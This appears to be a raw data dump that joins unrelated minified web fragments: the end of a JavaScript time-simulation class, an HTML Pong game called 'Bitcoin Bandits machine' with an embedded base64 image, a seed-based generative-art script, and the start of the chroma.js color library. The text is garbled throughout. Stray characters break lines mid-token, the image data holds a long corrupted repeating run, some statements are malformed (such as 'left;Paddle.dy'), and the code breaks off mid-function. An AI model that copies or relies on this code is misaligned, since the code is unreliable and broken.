on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
I0N/v4MHD2aP4u6Ho4IGCEqCBghKi4OxMi4thfXr17cdAhNABQ0QlAqakSnbge7AgQMtRDJ8+/btK8ZLfee96TXdL+G2bNlSjPMvA//my/80ypBSWvaaBZ/Ov7QceWwZFTRAUBI0QFBaHC3L7xK+lCylj/1L6Xdt4l9/8HjbIaSUUpo58WzbIVRSQQMEJUEDBKXF0bJ1yy9tO4RW+fi/tIziMu5BiBKnChogKAkaICgtjpZtWnFZ2yEAQamgAYKSoAGC0uIYkIOnn08ppbSxz9cBvJIKGiAoFfQiPH7mhRBzAJNJBQ0QlAQNEJQWR0MzZ14MPR8wOVTQAEFJ0ABBaXHUMTvEDb2HOTcw1lTQAEFJ0ABBaXFUeeZEXy/beVPT9znT1/sAk08FDRCUBA0QlBbHK518uu0IAFJKKmiAsFTQKaV09FDbEcDE2rdvX+nxzdt3jDiShUWMUwUNEJQEDRDUkmpx5B9VHn3g/hYjieXAgQNth8AF+b9FtBYAo6eCBghKggYIM
6qLN23e83HYQAMynggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBgjq/wGYL8O7fzvAcwAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleM
Speed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvM
as.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.M
dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillM
Rect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){left;Paddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
